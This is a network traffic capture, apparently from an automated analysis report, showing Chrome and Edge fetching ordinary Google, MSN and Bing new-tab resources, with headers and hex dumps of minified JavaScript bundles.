2024-04-23 21:02:25 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 29 29 7d 23 77 65 61 74 68 65 72 4f 6e 65 4c 69 6e 65 72 48 6f 6c 64 65 72 2e 6f 6e 65 6c 69 6e 65 2d 77 65 61 74 68 65 72 2d 68 6f 6c 64 65 72 2d 62 67 2d 6f 6e 69 6d 67 2c 2e 77 65 61 74 68 65 72 2d 6c 69 6e 65 72 2d 6d 6f 72 65 6f 70 74 69 6f 6e 73 2d 62 67 2d 6f 6e 69 6d 67 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 61 63 6b 64 72 6f 70 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 76 61 72 28 2d 2d 61 63 72 79 6c 69 63 2d 62 6c 75 72 2c 34 30 70 78 29 29 7d 23 77 65 61 74 68 65 72 4f 6e 65 4c 69 6e 65 72 48 6f 6c 64 65 72 2e 6f 6e 65 6c 69 6e 65 2d 77 65 61 74 68 65 72 2d 68 6f 6c 64 65 72 2d 62 67 2d 6f 6e 69 6d 67 3a 68 6f 76 65 72 2c 2e 77 65 61 74 68 65 72 2d 6c 69 6e 65 72 2d 6d 6f 72 65 6f Data Ascii: 00006000))}#weatherOneLinerHolder.oneline-weather-holder-bg-onimg,.weather-liner-moreoptions-bg-onimg{background:transparent;backdrop-filter:blur(var(--acrylic-blur,40px))}#weatherOneLinerHolder.oneline-weather-holder-bg-onimg:hover,.weather-liner-moreo
2024-04-23 21:02:25 UTC	8204	IN	Data Raw: 77 53 69 67 6e 61 6c 3a 5b 22 30 22 5d 2c 77 69 6e 64 53 69 67 6e 61 6c 3a 5b 22 31 22 5d 2c 77 69 6e 64 3a 22 78 78 78 78 31 22 7d 3b 63 6c 61 73 73 20 64 7b 73 74 61 74 69 63 20 67 65 74 57 65 61 74 68 65 72 47 6c 79 70 68 28 65 2c 6e 29 7b 63 6f 6e 73 74 20 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 69 2e 68 32 2c 65 29 3f 69 2e 68 32 5b 65 5d 3a 65 7d 28 65 29 2c 6f 3d 73 5b 74 5d 7c 7c 22 22 2c 61 3d 6e 7c 7c 60 24 7b 72 2e 71 46 7d 24 7b 72 2e 7a 66 7d 60 3b 72 65 74 75 72 6e 20 6f 3f 60 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6d 73 6e 2e 24 7b 6c 2e 6a 47 2e 49 73 43 68 69 6e 61 43 6f 6d 70 6c 69 61 6e 63 65 3f 22 Data Ascii: wSignal:["0"],windSignal:["1"],wind:"xxxx1"};class d{static getWeatherGlyph(e,n){const t=function(e){return Object.prototype.hasOwnProperty.call(i.h2,e)?i.h2[e]:e}(e),o=s[t]\|\|"",a=n\|\|`${r.qF}${r.zf}`;return o?`https://assets.msn.${l.jG.IsChinaCompliance?"
2024-04-23 21:02:25 UTC	2345	IN	Data Raw: 30 30 30 30 30 39 31 44 0d 0a 63 73 3a 22 6c 65 73 6e 69 70 6f 7a 61 72 22 2c 64 61 3a 22 73 6b 6f 76 62 72 61 6e 64 22 2c 64 65 3a 22 77 61 6c 64 62 72 61 6e 64 22 2c 66 69 3a 22 6d 61 61 73 74 6f 70 61 6c 6f 22 2c 66 72 3a 22 66 65 75 66 6f 72 65 74 22 2c 69 64 3a 22 6b 65 62 61 6b 61 72 61 6e 22 2c 6e 62 3a 22 73 6b 6f 67 62 72 61 6e 6e 22 2c 70 6c 3a 22 70 6f 7a 61 72 22 2c 73 76 3a 22 73 6b 6f 67 73 62 72 61 6e 64 22 7d 2c 77 69 6e 64 3a 7b 63 73 3a 22 76 69 74 72 22 2c 64 61 3a 6c 2c 6e 62 3a 6c 2c 73 76 3a 6c 2c 65 73 3a 22 76 69 65 6e 74 6f 22 2c 66 69 3a 22 74 75 75 6c 69 22 2c 66 72 3a 22 76 65 6e 74 22 2c 69 64 3a 22 61 6e 67 69 6e 22 2c 69 74 3a 73 2c 70 74 3a 73 2c 70 6c 3a 22 77 69 61 74 72 22 2c 74 72 3a 22 72 75 7a 67 61 72 22 7d 2c 63 6c Data Ascii: 0000091Dcs:"lesnipozar",da:"skovbrand",de:"waldbrand",fi:"maastopalo",fr:"feuforet",id:"kebakaran",nb:"skogbrann",pl:"pozar",sv:"skogsbrand"},wind:{cs:"vitr",da:l,nb:l,sv:l,es:"viento",fi:"tuuli",fr:"vent",id:"angin",it:s,pt:s,pl:"wiatr",tr:"ruzgar"},cl
2024-04-23 21:02:25 UTC	334	IN	Data Raw: 30 30 30 30 30 31 34 32 0d 0a 3b 74 26 26 6e 2e 73 65 74 28 22 6f 63 69 64 22 2c 74 29 7d 69 66 28 21 74 7c 7c 21 74 2e 63 76 69 64 29 7b 63 6f 6e 73 74 20 74 3d 65 2e 67 65 74 28 22 63 76 69 64 22 29 3b 74 26 26 6e 2e 73 65 74 28 22 63 76 69 64 22 2c 74 29 7d 7d 72 65 74 75 72 6e 20 6e 7c 7c 76 6f 69 64 20 30 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 65 2c 6e 29 7b 63 6f 6e 73 74 20 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 5b 22 22 2c 22 46 22 2c 22 43 22 5d 5b 65 7c 7c 30 5d 7c 7c 22 22 7d 28 6e 29 3b 72 65 74 75 72 6e 20 74 26 26 65 26 26 65 2e 73 65 74 28 22 77 65 61 64 65 67 72 65 65 74 79 70 65 22 2c 74 29 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 2c 6e 2c 74 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 65 3b 74 72 79 7b 63 6f 6e 73 Data Ascii: 00000142;t&&n.set("ocid",t)}if(!t\|\|!t.cvid){const t=e.get("cvid");t&&n.set("cvid",t)}}return n\|\|void 0}function L(e,n){const t=function(e){return["","F","C"][e\|\|0]\|\|""}(n);return t&&e&&e.set("weadegreetype",t),e}function k(e,n,t){if(!e)return e;try{cons
2024-04-23 21:02:25 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49872	172.253.124.104	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 21:02:25 UTC	1434	IN	HTTP/1.1 200 OK Version: 625470213 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Date: Tue, 23 Apr 2024 21:02:25 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-23 21:02:25 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-04-23 21:02:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49879	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	499	OUT	GET /bundles/v1/edgeChromium/latest/digest-card.7224d7f5906215f25e3c.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: W4o9G2ZPwRiymFnJA0Il+w== Last-Modified: Thu, 18 Apr 2024 20:59:12 GMT ETag: 0x8DC5FEA6675FEA0 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 7ed65321-b01e-0058-4bd3-91519c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Content-Length: 25562 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402747995,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801725b Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.1801725b Vary: Origin
2024-04-23 21:02:25 UTC	15230	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 64 69 67 65 73 74 2d 63 61 72 64 22 5d 2c 7b 34 34 39 39 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 72 28 74 29 2c 69 2e 64 28 74 2c 7b 44 69 67 65 73 74 43 61 72 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 65 7d 2c 44 69 67 65 73 74 43 61 72 64 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 65 7d 2c 44 69 67 65 73 74 43 61 72 64 54 65 6d 70 6c 61 74 Data Ascii: (self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["digest-card"],{44993:function(e,t,i){"use strict";i.r(t),i.d(t,{DigestCard:function(){return te},DigestCardStyles:function(){return le},DigestCardTemplat
2024-04-23 21:02:25 UTC	9346	IN	Data Raw: 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 66 6f 6f 74 65 72 44 61 74 61 2c 70 61 67 69 6e 61 74 69 6f 6e 44 61 74 61 3a 7b 2e 2e 2e 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 73 75 70 65 72 43 61 72 64 44 61 74 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 2e 66 6f 6f 74 65 72 44 61 74 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 70 61 67 69 6e 61 74 69 6f 6e 44 61 74 61 2c 63 75 72 72 65 6e 74 50 61 67 65 49 6e 64 65 78 3a 31 2c 70 61 67 65 43 6f 75 6e 74 3a 74 68 69 73 2e 64 69 67 65 73 74 44 61 74 61 4c 65 6e 67 74 68 2f 74 68 69 73 2e 6c 69 73 74 4c 65 6e 67 74 68 7d 7d 7d 29 7d 7d 28 30 2c 64 2e 67 6e 29 28 5b 28 30 2c 68 2e 4c 6a 29 28 7b 61 74 74 72 69 62 75 74 65 3a 22 63 61 72 64 2d 73 69 Data Ascii: =e?void 0:e.footerData,paginationData:{...null===(t=this.superCardData)\|\|void 0===t\|\|null===(t=t.footerData)\|\|void 0===t?void 0:t.paginationData,currentPageIndex:1,pageCount:this.digestDataLength/this.listLength}}})}}(0,d.gn)([(0,h.Lj)({attribute:"card-si
2024-04-23 21:02:25 UTC	986	IN	Data Raw: 20 31 30 38 20 32 61 36 20 36 20 30 20 30 30 30 20 31 32 7a 4d 38 20 33 63 2e 33 37 20 30 20 2e 38 38 2e 33 36 20 31 2e 33 31 20 31 2e 33 32 2e 31 2e 32 2e 31 38 2e 34 33 2e 32 36 2e 36 38 48 36 2e 34 33 63 2e 30 38 2d 2e 32 35 2e 31 36 2d 2e 34 37 2e 32 36 2d 2e 36 38 43 37 2e 31 32 20 33 2e 33 36 20 37 2e 36 33 20 33 20 38 20 33 7a 6d 2d 32 2e 32 32 2e 39 63 2d 2e 31 35 2e 33 34 2d 2e 32 39 2e 37 2d 2e 34 20 31 2e 31 48 34 61 35 2e 30 32 20 35 2e 30 32 20 30 20 30 31 32 2e 30 34 2d 31 2e 36 63 2d 2e 31 2e 31 36 2d 2e 31 38 2e 33 33 2d 2e 32 36 2e 35 7a 4d 35 2e 31 36 20 36 61 31 32 2e 30 36 20 31 32 2e 30 36 20 30 20 30 30 30 20 34 48 33 2e 34 32 61 34 2e 39 38 20 34 2e 39 38 20 30 20 30 31 30 2d 34 68 31 2e 37 34 7a 6d 2e 32 32 20 35 61 37 2e 35 33 20 Data Ascii: 108 2a6 6 0 000 12zM8 3c.37 0 .88.36 1.31 1.32.1.2.18.43.26.68H6.43c.08-.25.16-.47.26-.68C7.12 3.36 7.63 3 8 3zm-2.22.9c-.15.34-.29.7-.4 1.1H4a5.02 5.02 0 012.04-1.6c-.1.16-.18.33-.26.5zM5.16 6a12.06 12.06 0 000 4H3.42a4.98 4.98 0 010-4h1.74zm.22 5a7.53

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49880	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	628	OUT	GET /bundles/v1/edgeChromium/latest/toast-wc.6cd4b923cfe7c0d8b058.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: iTGltuWSXATG3JUxnLuBFQ== Last-Modified: Wed, 17 Apr 2024 19:30:51 GMT ETag: 0x8DC5F14E463C268 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 4a449713-401e-00a3-3ffd-90d1de000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Content-Length: 25676 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402747998,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=108, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801725e Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.1801725e Vary: Origin
2024-04-23 21:02:25 UTC	15230	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 74 6f 61 73 74 2d 77 63 22 5d 2c 7b 39 38 31 36 37 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6f 29 7b 6f 2e 64 28 65 2c 7b 49 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 4d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 7d 29 3b 76 61 72 20 61 3d 6f 28 38 32 38 39 38 29 3b 63 6f 6e 73 74 20 6e 3d 7b 74 65 6c 65 6d 65 74 72 79 43 6f 6e 74 72 61 63 74 73 3a 7b 74 6f 61 73 74 43 6c Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["toast-wc"],{98167:function(t,e,o){o.d(e,{I:function(){return n},M:function(){return s}});var a=o(82898);const n={telemetryContracts:{toastCl
2024-04-23 21:02:25 UTC	9346	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 61 73 74 2d 66 72 65 2d 66 6f 6c 6c 6f 77 69 6e 67 2d 74 69 74 6c 65 22 3e 24 7b 74 3d 3e 74 2e 74 6f 61 73 74 44 61 74 61 50 72 6f 70 73 2e 74 69 74 6c 65 54 65 78 74 7d 3c 2f 64 69 76 3e 3c 64 69 76 3e 24 7b 74 3d 3e 74 2e 74 6f 61 73 74 44 61 74 61 50 72 6f 70 73 2e 69 6e 70 75 74 54 65 78 74 7d 3c 2f 64 69 76 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 60 2c 77 74 3d 41 2e 64 79 60 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 61 73 74 2d 65 72 72 6f 72 22 3e 3c 73 76 67 20 63 6c 61 73 73 3d 22 74 6f 61 73 74 2d 65 72 72 6f 72 2d 73 76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e Data Ascii: div class="toast-fre-following-title">${t=>t.toastDataProps.titleText}</div><div>${t=>t.toastDataProps.inputText}</div></span></div>`,wt=A.dy`<div class="toast-error"><svg class="toast-error-svg" width="16" height="16" viewBox="0 0 16 16" fill="none" xmln
2024-04-23 21:02:25 UTC	1100	IN	Data Raw: 74 68 69 73 2e 72 65 6e 64 65 72 54 6f 61 73 74 43 61 6c 6c 62 61 63 6b 3d 65 2c 74 68 69 73 2e 63 75 72 72 65 6e 74 54 6f 61 73 74 49 64 43 68 61 6e 67 65 43 61 6c 6c 62 61 63 6b 73 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 65 28 74 29 29 29 2c 74 68 69 73 2e 72 65 6e 64 65 72 54 6f 61 73 74 28 29 29 7d 73 74 61 74 69 63 20 61 64 64 43 75 72 72 65 6e 74 54 6f 61 73 74 49 64 43 68 61 6e 67 65 43 61 6c 6c 62 61 63 6b 28 74 29 7b 74 26 26 74 68 69 73 2e 63 75 72 72 65 6e 74 54 6f 61 73 74 49 64 43 68 61 6e 67 65 43 61 6c 6c 62 61 63 6b 73 2e 70 75 73 68 28 74 29 7d 7d 28 61 3d 72 29 2e 72 65 61 64 79 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 74 3d 3e 61 2e 72 65 61 64 79 52 65 73 6f 6c 76 65 46 6e 3d 74 29 29 2c 61 2e 63 75 72 72 65 6e 74 54 6f 61 73 74 49 64 Data Ascii: this.renderToastCallback=e,this.currentToastIdChangeCallbacks.forEach((e=>e(t))),this.renderToast())}static addCurrentToastIdChangeCallback(t){t&&this.currentToastIdChangeCallbacks.push(t)}}(a=r).ready=new Promise((t=>a.readyResolveFn=t)),a.currentToastId

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49881	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	633	OUT	GET /bundles/v1/edgeChromium/latest/ms-rewards-wc.9abca88189e342bde963.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: lXw0gNFCJdV0AZgrcC0c1g== Last-Modified: Fri, 19 Apr 2024 19:35:52 GMT ETag: 0x8DC60A7EC7349B4 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 85ca08a4-a01e-00c5-2290-9269f0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Content-Length: 16361 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748049,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=107, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017291 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.18017291 Vary: Origin
2024-04-23 21:02:25 UTC	15230	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 73 2d 72 65 77 61 72 64 73 2d 77 63 22 5d 2c 7b 31 34 37 30 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 2e 72 28 74 29 2c 61 2e 64 28 74 2c 7b 4d 73 52 65 77 61 72 64 73 57 43 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 55 7d 2c 4d 73 52 65 77 61 72 64 73 57 43 53 53 52 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 65 7d 2c 4d 73 52 65 77 61 72 64 73 57 43 Data Ascii: (self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["ms-rewards-wc"],{14705:function(e,t,a){"use strict";a.r(t),a.d(t,{MsRewardsWC:function(){return U},MsRewardsWCSSRStyles:function(){return pe},MsRewardsWC
2024-04-23 21:02:25 UTC	1131	IN	Data Raw: 65 79 28 65 29 7b 61 77 61 69 74 20 74 68 69 73 2e 75 73 65 72 4e 75 72 74 75 72 69 6e 67 4d 61 6e 61 67 65 72 2e 69 73 41 70 69 41 76 61 69 6c 61 62 6c 65 54 6f 55 73 65 28 29 3f 74 68 69 73 2e 75 73 65 72 4e 75 72 74 75 72 69 6e 67 4d 61 6e 61 67 65 72 2e 64 65 6c 65 74 65 4b 65 79 56 61 6c 75 65 46 72 6f 6d 50 53 4c 28 65 29 3a 74 68 69 73 2e 73 65 6e 64 43 6c 69 65 6e 74 4c 6f 67 45 76 65 6e 74 28 60 55 73 65 72 27 73 20 70 72 65 66 65 72 65 6e 63 65 20 66 6f 72 20 6c 6f 63 61 6c 20 63 61 6d 70 61 69 67 6e 20 24 7b 65 7d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 63 6c 65 61 72 65 64 2e 60 29 7d 73 65 6e 64 43 6c 69 65 6e 74 4c 6f 67 45 76 65 6e 74 28 65 2c 74 29 7b 63 6f 6e 73 74 20 61 3d 7b 6d 65 73 73 61 67 65 3a 65 2c 74 79 70 65 3a 22 69 6e 66 6f Data Ascii: ey(e){await this.userNurturingManager.isApiAvailableToUse()?this.userNurturingManager.deleteKeyValueFromPSL(e):this.sendClientLogEvent(`User's preference for local campaign ${e} could not be cleared.`)}sendClientLogEvent(e,t){const a={message:e,type:"info

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49882	131.253.33.200	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
